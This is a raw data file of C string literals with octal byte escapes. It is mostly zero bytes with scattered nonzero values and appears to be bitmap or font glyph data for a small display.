"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\360" "\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\203\203\203\203\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\200\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\77\77\77" "\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300@\0\0\0\0\0\0\0\0\0\0\0" "\200\300\340\340\360ppp\360\377\377\177\360\360\340\300\200\0\0\0\0\360\376\377\377\7\3\1\0\0\0\360" "\377\377\37\0\0\0\1\7\3\0\0\0\0\17\77\377\377\360\300\200\0\0\360\377\377\17\0\0\0\0\200\300" "\200\0\0\0\0\0\0\0\1\3\3\7\7\377\377\377\17\16\16\17\17\7\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\1\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300" "\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\360\374\376\377\17\7\3\1\1\1\1\3\3\7\3\1" "\0\0\0\0\0\0\34\34\37\177\377\377\374\234\34\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\340\377\377\377\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34\34\36\37\17\17\17\16\16\16\36" "\34\34<\70\70\70\70<\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\34" "\270\360\360px\70\70\70\70xp\360\370\274\34\10\0\0\0\0\0\0\0\77\377\377\341\200\200\0\0\0" "\0\200\300\341\377\177\36\0\0\0\0\0\0\0\6\17\7\3\1\3\7\7\7\7\7\7\3\1\3\7\16\4" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300@\0\0\0\0\3\7\37\177\374\370\340\200\0\0\0\0\300\360\374\177\37\7" "\1\0\0\0\0\0\0\0\0\0\1\3\17\77\376\370\374\377\37\7\1\0\0\0\0\0\0\0\0\0\0\307" "\307\307\307\307\307\307\377\377\377\377\307\307\307\307\307\307\0\0\0\0\0\0\0\1\1\1\1\1\1\1\77\77" "\77\77\1\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360ppp" "p\360\340\340\300\200\0\0\0\0\0\0\0\0\0>\377\377\377\341\300\200\200\0\0\0\0\3\7\3\1\0" "\0\0\0\0\0\0\360\370\374\376\207\3\3\7\7\7\17\17\36\374\374\370\340\0\0\0\0\0\0\0\0\3" "\7\7\17\17\36\36\34<<\30\0\1\7\37\374\360\77\370\340\200" "\3\37\77|x\360\340\340\340\340px\70\20\0\200\340\370\77\7\0\0\1\3\7\6\14\14\34\30\30\30" "\30\30\34\14\16\6\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0" "\3\207\203\201\301\301\300\300\301\301\307\377\377\374\0\0\0\0\0\0\0\0\0<\177\377\343\301\301\201\300\300" "\300\340p\377\377\377\0\0\0\0\0\0\0\0\60\60\60\60\61\61\61\61\61\61\60\60\60\61\61\61\60\60" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370|\70\0\0\0\200\300\340\360x\70\20\0\0\0\0\0\14\36" "\77\177\363\341\300\200\0\14\36\77\177\363\341\300\200\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\2" "\0\0\0\0\1\3\7\7\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppppppp" "pppp\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300" "\340p\60\60\30\30\30\30\30\30\70\60\60p\340\300\200\0\0\0\374\37\7\1\0\0\377\377\203\203\203\203" "\203\207\306\376x\0\0\1\7\37\374\360\77\370\340\200\0\0\177\177\1\1\1\1\3\17\77x`\0\0\200" "\340\370\77\17\0\0\1\3\7\6\14\14\34\30\30\30\30\30\34\14\16\6\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300" "\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\340\340\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0" "\0~\377\377\303\201\0\0\0\0\201\303\377\377~\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\7" "\7\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\16\16\16\16\16\16\16\16\16\377\377\377\377\16\16\16\16\16\16\16\16\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\34\34\34\34\34\34\34\34\34\34\34" "\34\34\34\34\34\34\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\300\340\340````\340\340\300\200\0\0\0\0\0\0\0\0\0\0" "\0\1\3\1\0\0\0\0\200\300\340\361\177\77\37\0\0\0\0\0\0\0\0\0\0\340\360\370\374\336\317\307" "\303\303\301\300\300\300\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340```" "`\340\340\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0`ppp\371\377\337\217\0\0" "\0\0\0\0\0\0\0\0\60\70xp\340\340\340\300\340\340`q\77\77\17\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374x\60\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\2\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\300\377\377\377\17\37\34\70\70\70\70<" "\36\17\7\7\37\37<\70\70<\36\14\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\340\340\360\360\360\360\360pppp\360\360\360\0\0\0\0\0\374\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\377\377\377\0\0\0\0\0\0\3\7\17\17\37\37\77\77\377" "\377\377\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\3\3\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0x\374\374\374\374x\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\70\70ppcccs\77>\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300" "\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\7\7\3\3\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\360" "\374\377\17\3\1\1\0\1\1\3\17\377\376\370\0\0\0\0\0\0\0\0\0\7\77\177\370\340\300\300\200\300" "\300\340\370\177\37\7\0\0\0\0\0\0\0\0\60\60\60\60\60\60\61\61\61\61\61\60\60\60\60\60\60\60" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\10\34\67\63\61\60\60\377\377\60\60\0\0\0\0\0\0" 